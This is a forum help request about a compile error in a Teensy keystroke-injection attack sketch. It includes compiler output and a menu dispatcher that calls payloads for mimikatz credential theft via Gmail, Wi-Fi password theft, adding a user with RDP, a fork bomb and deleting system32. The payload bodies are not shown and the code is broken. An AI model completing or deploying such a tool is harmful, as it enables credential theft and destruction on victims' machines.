I can't figure out why my struct declaration isnt working?
I'm running the arduino ide with teensyduino on a raspberry pi 2.
I know the code isn't complete but it should work without the functions.
ERROR:
CODE:
I'm running the arduino ide with teensyduino on a raspberry pi 2.
I know the code isn't complete but it should work without the functions.
ERROR:
Code:
Arduino: 1.8.0 (Linux), TD: 1.34, Board: "Teensy 3.6, Serial + Keyboard + Mouse + Joystick, 180 MHz, Fast, German"
Gather:102: error: 'dip_struct' does not name a type
dip_struct dips_to_option(void){
^
Gather:146: error: variable or field 'fire_func' declared void
void fire_func(dip_struct *result){
^
Gather:146: error: 'dip_struct' was not declared in this scope
Gather:146: error: 'result' was not declared in this scope
void fire_func(dip_struct *result){
^
In file included from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/wiring.h:33:0,
from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/WProgram.h:15,
from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/Arduino.h:1,
from /tmp/arduino_build_704240/sketch/Gather.ino.cpp:1:
Gather: In function 'void setup()':
/home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/core_pins.h:37:15: error: invalid type argument of unary '*' (have 'int')
#define HIGH 1
^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:135:17: note: in expansion of macro 'HIGH'
setStatusLed(*HIGH);
^
Gather: In function 'void fire_func(dip_struct*)':
Gather:160: error: expected ';' before ')' token
Keyboard.println("Troll menu:"));
^
Gather:189: warning: deprecated conversion from string constant to 'char*'
open_url("https://www.youtube.com/watch?v=DLzxrzFCyOs");
^
Gather: In function 'void setStatusLed(int*)':
Gather:257: error: 'LeadStatus' was not declared in this scope
digitalWriteFast(13, *LeadStatus);
^
In file included from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/wiring.h:33:0,
from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/WProgram.h:15,
from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/Arduino.h:1,
from /tmp/arduino_build_704240/sketch/Gather.ino.cpp:1:
Gather: In function 'void loop()':
/home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/core_pins.h:38:14: error: invalid type argument of unary '*' (have 'int')
#define LOW 0
^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:262:17: note: in expansion of macro 'LOW'
setStatusLed(*LOW);
^
/home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/core_pins.h:37:15: error: invalid type argument of unary '*' (have 'int')
#define HIGH 1
^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:269:17: note: in expansion of macro 'HIGH'
setStatusLed(*HIGH);
^
Gather:270: error: no match for 'operator*' (operand type is 'dip_struct')
fire_func(*dips_to_option());
^
Gather: In function 'void exec_command()':
Gather:373: warning: large integer implicitly truncated to unsigned type
Keyboard.set_key1(KEY_R);
^
Gather: In function 'void hide_window()':
Gather:388: warning: large integer implicitly truncated to unsigned type
Keyboard.set_key1(KEY_M);
^
Gather:395: warning: large integer implicitly truncated to unsigned type
Keyboard.set_key1(KEY_DOWN);
^
Gather: In function 'void get_credentials_mimikatz_gmail()':
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:413:86: warning: use of 't' length modifier with 'e' type character [-Wformat=]
Keyboard.println(printf("echo $user = \"%s\" >> %temp%\\dlp.ps1",GMAILACCOUNTNAME));
^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:413:86: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:413:86: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:413:86: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:414:86: warning: use of 't' length modifier with 'e' type character [-Wformat=]
Keyboard.println(printf("echo $pass = \"%s\" >> %temp%\\dlp.ps1",GMAILACCOUNTPASS));
^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:414:86: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:414:86: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:414:86: warning: unknown conversion type character '\' in format [-Wformat=]
Gather: In function 'void get_wlan_credentials_gmail()':
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:436:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
Keyboard.println(printf("echo $user = \"%s\" >> %temp%\\wl.ps1",GMAILACCOUNTNAME));
^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:436:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:436:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:436:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:437:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
Keyboard.println(printf("echo $pass = \"%s\" >> %temp%\\wl.ps1",GMAILACCOUNTPASS));
^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:437:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:437:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:437:85: warning: unknown conversion type character '\' in format [-Wformat=]
Gather: In function 'void get_credentials_gmail_SE_vector()':
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:468:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
Keyboard.println(printf("echo $user = \"%s\" >> %temp%\\cr.ps1",GMAILACCOUNTNAME));
^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:468:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:468:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:468:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:469:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
Keyboard.println(printf("echo $pass = \"%s\" >> %temp%\\cr.ps1",GMAILACCOUNTPASS));
^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:469:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:469:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:469:85: warning: unknown conversion type character '\' in format [-Wformat=]
Gather: In function 'void wait_for_drivers(int)':
Gather:509: warning: large integer implicitly truncated to unsigned type
Keyboard.set_key1(KEY_CAPS_LOCK);
^
Gather:518: warning: large integer implicitly truncated to unsigned type
Keyboard.set_key1(KEY_CAPS_LOCK);
^
Gather: In function 'bool cmd_admin(int, int)':
Gather:544: warning: large integer implicitly truncated to unsigned type
Keyboard.set_key1(KEY_ENTER);
^
Gather:556: warning: no return statement in function returning non-void
}
^
Gather: In function 'bool cmd(int, int, char*)':
Gather:563: warning: large integer implicitly truncated to unsigned type
Keyboard.set_key1(KEY_R);
^
Gather:572: warning: large integer implicitly truncated to unsigned type
Keyboard.set_key1(KEY_ENTER);
^
Gather:581: warning: no return statement in function returning non-void
}
^
Gather: In function 'void make_sure_capslock_is_off()':
Gather:588: warning: large integer implicitly truncated to unsigned type
Keyboard.set_key1(KEY_CAPS_LOCK);
^
Gather: In function 'bool check_for_capslock_success_teensy(int, int)':
Gather:622: warning: comparison between signed and unsigned integer expressions
while (!is_caps_on() && (i<reps));
^
Gather: In function 'void minimise_windows()':
Gather:629: warning: large integer implicitly truncated to unsigned type
Keyboard.set_key1(KEY_M);
^
Gather: In function 'void send_left_enter()':
Gather:652: warning: large integer implicitly truncated to unsigned type
Keyboard.set_key1(KEY_LEFT);
^
Gather:658: warning: large integer implicitly truncated to unsigned type
Keyboard.set_key1(KEY_ENTER);
^
'dip_struct' does not name a type
This report would have more information with
"Show verbose output during compilation"
option enabled in File -> Preferences.
Code:
struct dip_struct{
int p_type = 0;
int p_specific = 0;
int p_option = 0;
bool p_hide = false;
bool p_auto_exec = false;
bool p_enable_delay = false;
};
//init funcs
int INPUTPINS[15] = {0, 1, 2, 3, 4, 7, 8, 9, 10, 11, 24, 25, 26, 27, 28};
int ledkeys(void) {return int(keyboard_leds);}
bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}
void init_dip_switches(void){
for (int pin_num; pin_num<15; ++pin_num){
pinMode(INPUTPINS[pin_num], INPUT_PULLUP);
}
};
dip_struct dips_to_option(void){
//get status of the three dips and output a struct
dip_struct result;
for (int pin_num; pin_num<15; ++pin_num){
Serial.println(INPUTPINS[pin_num]);
if (digitalRead(INPUTPINS[pin_num]) == LOW){
switch (INPUTPINS[pin_num]){
case 0 ... 2:
result.p_type = (pin_num+1);
break;
case 3:
result.p_auto_exec=true;
break;
case 4:
result.p_hide=true;
break;
case 7 ... 11:
result.p_specific = (INPUTPINS[pin_num]-6);
break;
case 24 ... 27:
result.p_option = (INPUTPINS[pin_num]-23);
break;
case 28:
result.p_enable_delay=true;
break;
}
}
}
return result;
}
void setup() {
pinMode(13, OUTPUT);
setStatusLed(*HIGH);
init_dip_switches();
wait_for_drivers(200);
minimise_windows();
delay(500);
}
//insert loginc to handle func exection here
void fire_func(dip_struct *result){
switch (*result->p_type) {
case 0:
open_notepad();
delay(3000);
Keyboard.println("Action type menu: \n\n\n\n\n\n...comming soon...");
//Keyboard.println(HeaderASCII);
break;
case 1:
//trolls
switch (result->p_specific){
case 0:
open_notepad();
delay(2000);
Keyboard.println("Troll menu:"));
break;
case 1:
switch (result->p_option){
case 1:
subtle_troll(8000);
break;
case 2:
subtle_troll(3000);
break;
case 3:
subtle_troll(1000);
break;
case 4:
subtle_troll(500);
break;
default:
open_notepad();
delay(2000);
Keyboard.println(printf("You entered the Wrong p_specific: %d", result->p_specific));
break;
}
break;
case 2:
//change wallpaper
break;
case 3:
//open_video
open_url("https://www.youtube.com/watch?v=DLzxrzFCyOs");
break;
case 4:
//fork bomb
crash_win_fork_bomb();
break;
default:
//print invalid setting
open_notepad();
delay(2000);
Keyboard.println(printf("You entered the Wrong p_specific: %d", result->p_specific));
break;
}
break;
case 2:
//gather
switch (result->p_specific) {
case 1:
//get_credentials_mimikatz_gmail
get_credentials_mimikatz_gmail();
break;
case 2:
//get_credentials_gmail_SE_vector
get_credentials_gmail_SE_vector();
break;
case 3:
//get_wlan_credentials_gmail
get_wlan_credentials_gmail();
break;
default:
//print invalid setting
open_notepad();
delay(1000);
Keyboard.println(printf("You entered the Wrong p_specific: %d", result->p_specific));
break;
}
break;
case 3: //
//serious
switch (result->p_specific){
case 1:
//add user and Remote Desktop
add_user_and_rdp();
break;
case 2:
//delete system32
delete_system32();
break;
default:
//print invalid setting
open_notepad();
delay(1000);
Keyboard.println(printf("You entered the Wrong p_specific: %d", result->p_specific));
break;
}
break;
default:
//print invalid setting
open_notepad();
delay(1000);
Keyboard.println(printf("DAFUQ???\nYou entered the Wrong p_type: %d", result->p_type));
break;
}
}
void setStatusLed(int *LedStatus){
if (digitalReadFast(4) == HIGH){
digitalWriteFast(13, *LeadStatus);
}
}
void loop() {
setStatusLed(*LOW);
// put your main code here, to run repeatedly:
static unsigned int timer = 600;
while ((digitalReadFast(28) == HIGH) and (timer)){
--timer;
delay(1000);
}
setStatusLed(*HIGH);
fire_func(*dips_to_option());
}
Last edited: